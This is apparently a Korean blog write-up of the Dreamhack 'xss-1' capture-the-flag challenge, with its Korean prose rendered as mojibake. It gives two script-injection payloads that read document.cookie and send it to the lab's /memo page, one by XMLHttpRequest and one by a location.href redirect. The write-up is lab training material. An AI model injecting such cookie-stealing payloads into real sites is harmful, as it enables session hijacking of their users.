728x90
๋ฐ์ํ
https://dreamhack.io/wargame/challenges/28/
xss-1
์ฌ๋ฌ ๊ธฐ๋ฅ๊ณผ ์ ๋ ฅ๋ฐ์ URL์ ํ์ธํ๋ ๋ด์ด ๊ตฌํ๋ ์๋น์ค์ ๋๋ค. XSS ์ทจ์ฝ์ ์ ์ด์ฉํด ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์. ํ๋๊ทธ๋ flag.txt, FLAG ๋ณ์์ ์์ต๋๋ค. Reference Client-side Basic
dreamhack.io
/flag๋ก ์ง์ ํด ์๋์ ์คํฌ๋ฆฝํธ๋ฅผ ๋ฃ์ด์ฃผ์ด์ ์คํํ์๋ค.
<script>var xhr = new XMLHttpRequest();xhr.open('GET', '/memo?memo=' + document.cookie);xhr.send();</script>
XHR ์์ฒญ์ผ๋ก ์๋ฒ ์๊ธฐ ์์ ์ ์ฟ ํค๋ฅผ ๋ฉ๋ชจํ๋ ์คํฌ๋ฆฝํธ์ด๋ค.
/memo๋ก ๋ค์ด๊ฐ ์ฃผ๋ฉด?
ํ๋๊ทธ ๊ฐ์ด ๋์จ๋ค.
<script>location.href="http://127.0.0.1:8000/memo?memo=hello"+document.cookie;</script>
XHR ์์ฒญ๋ง๊ณ ๋, location.href๋ฅผ ์ด์ฉํด๋ ์ฟ ํค๊ฐ ๋ด๊ธด GET ์์ฒญ์ ๋ณด๋ผ ์๊ฐ ์๋ค.
728x90
๋ฐ์ํ
'๐ดCTF > DreamHack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Dreamhack - ์๊ฒ์, image-storage (0) | 2021.11.24 |
---|---|
Dreamhack - ์๊ฒ์, file-download-1 (0) | 2021.11.24 |
Dreamhack - ์๊ฒ์, pathtraversal (0) | 2021.11.21 |
Dreamhack - ์๊ฒ์, csrf-1 (0) | 2021.11.21 |
Dreamhack - ์๊ฒ์, php-1 (0) | 2021.11.21 |